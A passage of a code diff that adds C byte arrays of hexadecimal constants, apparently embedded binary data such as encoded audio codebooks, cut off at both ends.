+        0x42, 0x2C, 0xB1, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B,
+        0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5,
+        0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0x2D, 0x10, 0x1A, 0xB2,
+        0x12, 0x00, 0x88, 0x00, 0x00, 0x60, 0x90, 0x41, 0x06, 0x19, 0x44, 0x10,
+        0x41, 0x04, 0x19, 0x64, 0x80, 0xD0, 0x90, 0x95, 0x00, 0x00, 0x08, 0x00,
+        0x00, 0x23, 0x8C, 0x40, 0x04, 0x19, 0xA5, 0x14, 0x63, 0x8E, 0x39, 0xE6,
+        0x18, 0x74, 0xD0, 0x41, 0x27, 0x1D, 0x85, 0x16, 0x5A, 0x20, 0x34, 0x64,
+        0x25, 0x00, 0xE0, 0x04, 0x00, 0x40, 0x20, 0xA1, 0x88, 0x32, 0xCC, 0x30,
+        0x04, 0x11, 0x55, 0x54, 0x51, 0x46, 0x15, 0x55, 0x14, 0x52, 0x47, 0x29,
+        0xA5, 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94,
+        0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A,
+        0x29, 0xA5, 0x54, 0x4A, 0x29, 0xA5, 0x04, 0x42, 0x43, 0x56, 0x02, 0x00,
+        0x64, 0x00, 0x00, 0x90, 0xA2, 0x94, 0x52, 0x29, 0x2D, 0x45, 0x82, 0x22,
+        0xA5, 0x18, 0xA4, 0x18, 0x4B, 0x46, 0x15, 0x73, 0x50, 0x5A, 0x8A, 0xA8,
+        0x72, 0x0C, 0x52, 0xCD, 0xA9, 0x52, 0xCE, 0x20, 0xE6, 0x24, 0x96, 0x88,
+        0x31, 0x84, 0x94, 0x93, 0x54, 0x32, 0xE6, 0x14, 0x42, 0x0C, 0x42, 0xEA,
+        0x1C, 0x75, 0x4C, 0x29, 0x06, 0x2D, 0x95, 0x18, 0x42, 0xC6, 0x18, 0xA4,
+        0xD8, 0x72, 0x4B, 0xA1, 0x73, 0x0E, 0x08, 0x0D, 0x59, 0x21, 0x00, 0x84,
+        0x66, 0x00, 0x38, 0x1C, 0x07, 0x90, 0x2C, 0x0B, 0x90, 0x2C, 0x0B, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x4D, 0x03, 0x34, 0xCF, 0x03,
+        0x2C, 0xCD, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xD3,
+        0x00, 0xCB, 0xD3, 0x00, 0xCD, 0xF3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x90, 0x34, 0x0D, 0xD0, 0x3C, 0x0F, 0xD0, 0x3C, 0x0F, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xCF, 0x03, 0x3C, 0x4F, 0x04,
+        0x3C, 0x51, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xF3,
+        0x00, 0x4D, 0xF4, 0x00, 0x4F, 0x14, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x90, 0x34, 0x0D, 0xD0, 0x3C, 0x0F, 0xD0, 0x3C, 0x0F, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0xCF, 0x03, 0x3C, 0x51, 0x04,
+        0x34, 0x4F, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCB, 0xF3,
+        0x00, 0x4F, 0x14, 0x01, 0x4F, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00,
+        0x0A, 0x38, 0x00, 0x00, 0x0A, 0x58, 0x08, 0x85, 0x86, 0xAC, 0x08, 0x00,
+        0xE2, 0x04, 0x00, 0x1C, 0x92, 0x04, 0x49, 0x82, 0x24, 0x41, 0xF3, 0x00,
+        0x92, 0x65, 0x41, 0xD3, 0xA0, 0x69, 0x30, 0x4D, 0x80, 0x64, 0x59, 0xD0,
+        0x34, 0x68, 0x1A, 0x4C, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x49, 0xD3, 0xA0, 0x69, 0xD0, 0x34, 0x88, 0x22, 0x40,
+        0xD2, 0x34, 0x68, 0x1A, 0x34, 0x0D, 0xA2, 0x08, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xA4, 0x69, 0xD0, 0x34, 0x68, 0x1A,
+        0x44, 0x11, 0x20, 0x69, 0x1A, 0x34, 0x0D, 0x9A, 0x06, 0x51, 0x04, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x33, 0x4D, 0x88,
+        0x22, 0x44, 0x11, 0xA6, 0x09, 0xF0, 0x4C, 0x13, 0xA2, 0x08, 0x51, 0x84,
+        0x69, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x02, 0x00, 0x00, 0x09, 0x1C, 0x00, 0x00, 0x05, 0x4C, 0x28, 0x03, 0x85,
+        0x86, 0xAC, 0x08, 0x00, 0xE2, 0x04, 0x00, 0x1C, 0x8E, 0x62, 0x59, 0x00,
+        0x00, 0xE0, 0x38, 0x8E, 0x65, 0x01, 0x00, 0x80, 0xE3, 0x38, 0x96, 0x05,
+        0x00, 0x00, 0x96, 0x65, 0x89, 0x22, 0x00, 0x00, 0x58, 0x96, 0x26, 0x8A,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x09, 0x1C, 0x00, 0x00,
+        0x05, 0x4C, 0x28, 0x03, 0x85, 0x86, 0xAC, 0x04, 0x00, 0xA2, 0x00, 0x00,
+        0x1C, 0x8A, 0x62, 0x59, 0xC0, 0x71, 0x2C, 0x0B, 0x38, 0x8E, 0x65, 0x01,
+        0x49, 0xB2, 0x2C, 0x80, 0x65, 0x01, 0x34, 0x0F, 0xA0, 0x69, 0x00, 0x51,
+        0x04, 0x00, 0x02, 0x00, 0x00, 0x0D, 0x1C, 0x00, 0x00, 0x05, 0x6C, 0xD0,
+        0x94, 0x58, 0x1C, 0xA0, 0xD0, 0x90, 0x95, 0x00, 0x40, 0x14, 0x00, 0x80,
+        0x41, 0x71, 0x2C, 0x4B, 0xD3, 0x44, 0x91, 0x24, 0x69, 0x9A, 0xE6, 0x89,
+        0x22, 0x49, 0xD2, 0x34, 0xCF, 0x13, 0x45, 0x9A, 0xE6, 0x79, 0x9E, 0x67,
+        0x9A, 0xF0, 0x3C, 0xCF, 0x33, 0x4D, 0x88, 0xA2, 0x28, 0x9A, 0x26, 0x44,
+        0x51, 0x14, 0x4D, 0x13, 0xA6, 0x69, 0x9A, 0xAA, 0x0A, 0x4C, 0x53, 0x55,
+        0x05, 0x00, 0x00, 0x1A, 0x38, 0x00, 0x00, 0x0A, 0xD8, 0xA0, 0x29, 0xB1,
+        0x38, 0x40, 0xA1, 0x21, 0x2B, 0x01, 0x80, 0x90, 0x00, 0x00, 0x87, 0xA2,
+        0x58, 0x96, 0xA6, 0x79, 0x9E, 0xE7, 0x89, 0xA2, 0x69, 0xAA, 0x26, 0x49,
+        0xD2, 0x34, 0xCF, 0x13, 0x45, 0x51, 0x34, 0x4D, 0xD3, 0x54, 0x55, 0x92,
+        0xA4, 0x69, 0x9E, 0x27, 0x8A, 0xA2, 0x68, 0x9A, 0xA6, 0xA9, 0xAA, 0x2C,
+        0x4B, 0xD3, 0x3C, 0x4F, 0x14, 0x45, 0xD1, 0x34, 0x55, 0x55, 0x55, 0xA1,
+        0x69, 0x9E, 0x27, 0x8A, 0xA2, 0x68, 0x9A, 0xAA, 0xAA, 0xBA, 0xF0, 0x3C,
+        0xCF, 0x13, 0x45, 0x51, 0x34, 0x4D, 0x55, 0x75, 0x5D, 0x78, 0x9E, 0xE7,
+        0x89, 0xA2, 0x28, 0x9A, 0xA6, 0xAA, 0xBA, 0x2E, 0x44, 0x51, 0x14, 0x4D,
+        0xD3, 0x34, 0x55, 0x53, 0x55, 0x5D, 0x17, 0x88, 0xA2, 0x69, 0x9A, 0xA6,
+        0xAA, 0xAA, 0xAA, 0xEB, 0x02, 0xD1, 0x13, 0x45, 0xD3, 0x54, 0x55, 0xD7,
+        0x75, 0x5D, 0xE0, 0x79, 0xA2, 0x68, 0x9A, 0xAA, 0xEA, 0xAA, 0xAE, 0x0B,
+        0x44, 0xD3, 0x34, 0x55, 0x55, 0x55, 0x5D, 0x57, 0x96, 0x01, 0xA6, 0x69,
+        0x9A, 0xAA, 0xEA, 0xBA, 0xB2, 0x0C, 0x50, 0x55, 0x55, 0x75, 0x5D, 0xD7,
+        0x95, 0x65, 0x80, 0xAA, 0xAA, 0xAA, 0xEB, 0xBA, 0xAE, 0x2C, 0x03, 0x54,
+        0xD5, 0x75, 0x5D, 0x57, 0x96, 0x65, 0x19, 0x80, 0xEB, 0xBA, 0xAE, 0x2C,
+        0xCB, 0xB2, 0x00, 0x00, 0x40, 0x04, 0x07, 0x00, 0x40, 0x01, 0x23, 0xE8,
+        0x24, 0xA3, 0xCA, 0x22, 0x6C, 0x34, 0xE1, 0xC2, 0x03, 0x50, 0x68, 0xC8,
+        0x8A, 0x00, 0x20, 0x0A, 0x00, 0x00, 0x30, 0x86, 0x29, 0xC5, 0x94, 0x32,
+        0x8C, 0x49, 0x08, 0x29, 0x84, 0x86, 0x31, 0x09, 0x21, 0x85, 0x90, 0x49,
+        0x49, 0xA9, 0xB4, 0x94, 0x2A, 0x08, 0xA9, 0x94, 0x54, 0x4A, 0x05, 0x21,
+        0x95, 0x92, 0x4A, 0xC9, 0x28, 0xA5, 0x94, 0x5A, 0x4A, 0x15, 0x84, 0x54,
+        0x4A, 0x2A, 0xA5, 0x82, 0x90, 0x4A, 0x49, 0xA5, 0x14, 0x00, 0x00, 0x8B,
+        0xE0, 0x00, 0x00, 0x8B, 0x60, 0x21, 0x14, 0x1A, 0xB2, 0x12, 0x00, 0xC8,
+        0x03, 0x00, 0x20, 0x8C, 0x51, 0x8A, 0x31, 0xC6, 0x9C, 0x93, 0x08, 0x29,
+        0xC5, 0x98, 0x73, 0xCE, 0x49, 0x84, 0x94, 0x62, 0xCC, 0x39, 0xE7, 0xA4,
+        0x52, 0x8C, 0x39, 0xE7, 0x9C, 0x73, 0x52, 0x4A, 0xC6, 0x1C, 0x73, 0xCE,
+        0x39, 0x29, 0xA5, 0x73, 0xCE, 0x39, 0xE7, 0x9C, 0x94, 0x92, 0x39, 0xE7,
+        0x9C, 0x73, 0x4E, 0x4A, 0xE9, 0x9C, 0x73, 0xCE, 0x39, 0x27, 0xA5, 0x94,
+        0xD2, 0x39, 0xE7, 0x9C, 0x93, 0x52, 0x4A, 0x09, 0xA1, 0x73, 0xD0, 0x49,
+        0x29, 0xA5, 0x74, 0xCE, 0x39, 0xE7, 0x04, 0x00, 0x80, 0x1A, 0x38, 0x00,
+        0x00, 0x0A, 0xD8, 0x28, 0xB2, 0x39, 0xC1, 0x48, 0x50, 0xA1, 0x21, 0x2B,
+        0x01, 0x80, 0x54, 0x00, 0x00, 0x83, 0xE3, 0x58, 0x96, 0xA6, 0x79, 0x9E,
+        0x28, 0x9A, 0xA6, 0x25, 0x49, 0x9A, 0xE6, 0x79, 0x9E, 0x27, 0x8A, 0xA6,
+        0xA9, 0x49, 0x92, 0xA6, 0x79, 0x9E, 0xE7, 0x89, 0xA2, 0x6A, 0xF2, 0x3C,
+        0xCF, 0x13, 0x45, 0x51, 0x34, 0x4D, 0x55, 0xE5, 0x79, 0x9E, 0x27, 0x8A,
+        0xA2, 0x68, 0x9A, 0xAA, 0xCA, 0x75, 0x45, 0xD1, 0x34, 0x4D, 0x53, 0x55,
+        0x55, 0x97, 0x2C, 0x8B, 0xA2, 0x69, 0x9A, 0xA6, 0xAA, 0xBA, 0x2E, 0x4C,
+        0xD3, 0x34, 0x55, 0xD5, 0x75, 0x5D, 0x17, 0xA6, 0x69, 0x9A, 0xAA, 0xEA,
+        0xBA, 0xAE, 0x0B, 0xDB, 0x56, 0x55, 0x55, 0x75, 0x5D, 0x59, 0x86, 0x6D,
+        0xAB, 0xAA, 0xAA, 0xBA, 0xAE, 0x2C, 0x03, 0xD7, 0x75, 0x5D, 0x59, 0xB6,
+        0x65, 0x20, 0xCB, 0xAE, 0x2B, 0xBB, 0xB6, 0x2C, 0x00, 0x00, 0x5E, 0xC1,
+        0x01, 0x00, 0xD4, 0xC0, 0x86, 0xD5, 0x11, 0x4E, 0x8A, 0xC6, 0x02, 0x0B,
+        0x0D, 0x59, 0x09, 0x00, 0x64, 0x00, 0x00, 0x10, 0xC6, 0x20, 0xA4, 0x10,
+        0x42, 0x48, 0x19, 0x84, 0x90, 0x42, 0x08, 0x21, 0xA5, 0x14, 0x42, 0x02,
+        0x00, 0x00, 0x09, 0x1C, 0x00, 0x00, 0x05, 0x4C, 0x28, 0x03, 0x85, 0x86,
+        0xAC, 0x04, 0x00, 0x52, 0x01, 0x00, 0x00, 0x63, 0xAC, 0xB5, 0xD6, 0x5A,
+        0x6B, 0xAD, 0x35, 0xD0, 0x59, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x2B, 0x20,
+        0xB3, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6,
+        0x5A, 0x6B, 0xAD, 0xB5, 0xD4, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B,
+        0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5,
+        0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A,
+        0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x6B, 0xAD,
+        0xB5, 0xD6, 0x5A, 0x6B, 0xAD, 0xB5, 0xD6, 0x5A, 0x4B, 0x29, 0xA5, 0x94,
+        0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A,
+        0x29, 0xA5, 0x94, 0x52, 0x01, 0x40, 0xBF, 0x16, 0x0E, 0x00, 0xFF, 0x10,
+        0x36, 0xAC, 0x8E, 0x70, 0x52, 0x34, 0x16, 0x58, 0x68, 0xC8, 0x4A, 0x00,
+        0x20, 0x1C, 0x00, 0x00, 0x30, 0x46, 0x29, 0xC6, 0x1C, 0x83, 0x50, 0x4A,
+        0x29, 0x15, 0x42, 0x8C, 0x39, 0x27, 0x1D, 0x95, 0xD6, 0x62, 0xAC, 0x10,
+        0x62, 0xCC, 0x39, 0x09, 0x29, 0xB5, 0x16, 0x5B, 0xF1, 0x9C, 0x73, 0x10,
+        0x4A, 0x48, 0xA5, 0xB5, 0x18, 0x8B, 0xE7, 0x9C, 0x83, 0x50, 0x4A, 0x4A,
+        0xB1, 0xD5, 0x58, 0x54, 0x0A, 0xA1, 0x94, 0x94, 0x52, 0x8B, 0x2D, 0xD6,
+        0xA2, 0x52, 0xE8, 0xA8, 0xA4, 0x94, 0x52, 0x6B, 0x35, 0x16, 0x63, 0x4C,
+        0x2A, 0xA9, 0xB5, 0xD6, 0x62, 0xAB, 0xB1, 0x18, 0x63, 0x52, 0x0A, 0x2D,
+        0xB5, 0xD6, 0x62, 0x8C, 0xC5, 0x08, 0x5B, 0x53, 0x6A, 0x2D, 0xB6, 0xDA,
+        0x6A, 0x2C, 0xC6, 0xD8, 0x9A, 0x4A, 0x0B, 0x2D, 0xC6, 0x18, 0x63, 0x31,
+        0xC2, 0x17, 0x19, 0x5B, 0x8B, 0xA9, 0xB6, 0x5A, 0x83, 0x31, 0xC2, 0xC8,
+        0x16, 0x4B, 0x4B, 0xB5, 0xD6, 0x1A, 0x8C, 0x31, 0x46, 0xF7, 0xD6, 0x62,
+        0xA9, 0xAD, 0xE6, 0x62, 0x8C, 0x0F, 0xBE, 0xB6, 0x14, 0x4B, 0x8C, 0x35,
+        0x17, 0x00, 0xE0, 0xEE, 0xE0, 0x00, 0x80, 0xA8, 0x60, 0xE3, 0x0C, 0x2B,
+        0x49, 0x67, 0x85, 0xA3, 0xC1, 0x85, 0x86, 0xAC, 0x04, 0x00, 0x42, 0x02,
+        0x00, 0x08, 0x84, 0x94, 0x62, 0x8C, 0x31, 0xC6, 0x9C, 0x73, 0xCE, 0x39,
+        0xA9, 0x14, 0x63, 0x8E, 0x39, 0xE7, 0x9C, 0x83, 0x10, 0x42, 0x28, 0x95,
+        0x62, 0x8C, 0x31, 0xE7, 0x9C, 0x83, 0x10, 0x42, 0x08, 0x25, 0x63, 0x8C,
+        0x39, 0xE7, 0x1C, 0x84, 0x10, 0x42, 0x08, 0xA1, 0x94, 0x92, 0x31, 0xE7,
+        0x1C, 0x84, 0x10, 0x42, 0x08, 0x21, 0xA4, 0x94, 0x3A, 0xE7, 0x1C, 0x84,
+        0x10, 0x42, 0x08, 0x21, 0x84, 0x52, 0x4A, 0xE7, 0x9C, 0x83, 0x10, 0x42,
+        0x08, 0x21, 0x84, 0x50, 0x4A, 0xE9, 0x20, 0x84, 0x10, 0x42, 0x08, 0x21,
+        0x84, 0x12, 0x4A, 0x29, 0x29, 0x85, 0x10, 0x42, 0x08, 0x21, 0x84, 0x10,
+        0x42, 0x2A, 0x29, 0xA5, 0x10, 0x42, 0x08, 0xA1, 0x94, 0x10, 0x4A, 0x48,
+        0x25, 0xA5, 0x14, 0x42, 0x08, 0x21, 0x84, 0x50, 0x4A, 0x09, 0x29, 0xA5,
+        0x94, 0x42, 0x08, 0xA1, 0x94, 0x10, 0x42, 0x28, 0x21, 0xA5, 0x94, 0x52,
+        0x4A, 0x21, 0x84, 0x10, 0x42, 0x29, 0xA5, 0xA4, 0x94, 0x52, 0x4A, 0xA9,
+        0x84, 0x52, 0x42, 0x09, 0xA1, 0x84, 0x54, 0x4A, 0x4A, 0x29, 0x85, 0x12,
+        0x42, 0x08, 0xA5, 0x94, 0x92, 0x52, 0x4A, 0x29, 0x95, 0x52, 0x42, 0x28,
+        0xA1, 0x84, 0x52, 0x4A, 0x49, 0x29, 0xA5, 0x94, 0x52, 0x08, 0x21, 0x84,
+        0x52, 0x4A, 0x01, 0x00, 0x80, 0x08, 0x0E, 0x00, 0x80, 0x02, 0x46, 0xD0,
+        0x49, 0x46, 0x95, 0x45, 0xD8, 0x68, 0xC2, 0x85, 0x07, 0x20, 0x00, 0x00,
+        0x00, 0x04, 0x00, 0x20, 0x08, 0x91, 0x19, 0x22, 0x51, 0xB0, 0x00, 0x0C,
+        0x0E, 0x54, 0x00, 0x42, 0xC2, 0x14, 0x00, 0x50, 0x58, 0x60, 0x90, 0x03,
+        0x00, 0x0D, 0x0E, 0x0F, 0x69, 0x17, 0x17, 0xD0, 0x65, 0x80, 0x0B, 0xBA,
+        0xB8, 0xEB, 0x40, 0x08, 0x41, 0x08, 0x42, 0x10, 0x8B, 0x03, 0x28, 0x20,
+        0x01, 0x07, 0x27, 0xDC, 0xF0, 0xC4, 0x1B, 0x9E, 0x70, 0x83, 0x13, 0x74,
+        0x8A, 0x4A, 0x0D, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x00, 0x80,
+        0x00, 0x00, 0x24, 0x0F, 0x40, 0x44, 0x44, 0x34, 0x73, 0x10, 0x11, 0x12,
+        0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x00, 0x00,
+        0x80, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08 };
+
+unsigned char bufData[] = { 0x3E, 0x79, 0xDE, 0x36, 0x88, 0xA9, 0x82, 0x16,
+        0xA4, 0x10, 0x4E, 0x70, 0x83, 0x90, 0xA3, 0x4C, 0x94, 0xA9, 0xF3, 0x81,
+        0x46, 0x74, 0x15, 0x42, 0x0B, 0x42, 0x08, 0xC7, 0xB8, 0x41, 0x28, 0x23,
+        0x24, 0xF4, 0xA3, 0x28, 0xCB, 0xA2, 0x28, 0xCB, 0xA2, 0x28, 0xCB, 0xA2,
+        0x28, 0xCB, 0x02, 0x00, 0x60, 0x37, 0xB9, 0x8A, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xF0, 0xDE, 0xAA, 0x88, 0xAA,
+        0x08, 0x84, 0x14, 0x23, 0x33, 0x2A, 0x35, 0x85, 0x04, 0x78, 0x7B, 0x95,
+        0x58, 0x4E, 0xB3, 0x6A, 0x69, 0x69, 0x61, 0x66, 0x61, 0x6E, 0x69, 0x62,
+        0x66, 0x9A, 0x30, 0x41, 0x82, 0xF8, 0x84, 0x71, 0x71, 0xB1, 0xF1, 0x31,
+        0x31, 0xB1, 0xB1, 0x31, 0x31, 0xB1, 0x3D, 0x3b, 0x3D, 0xBA, 0xDD, 0x4E,
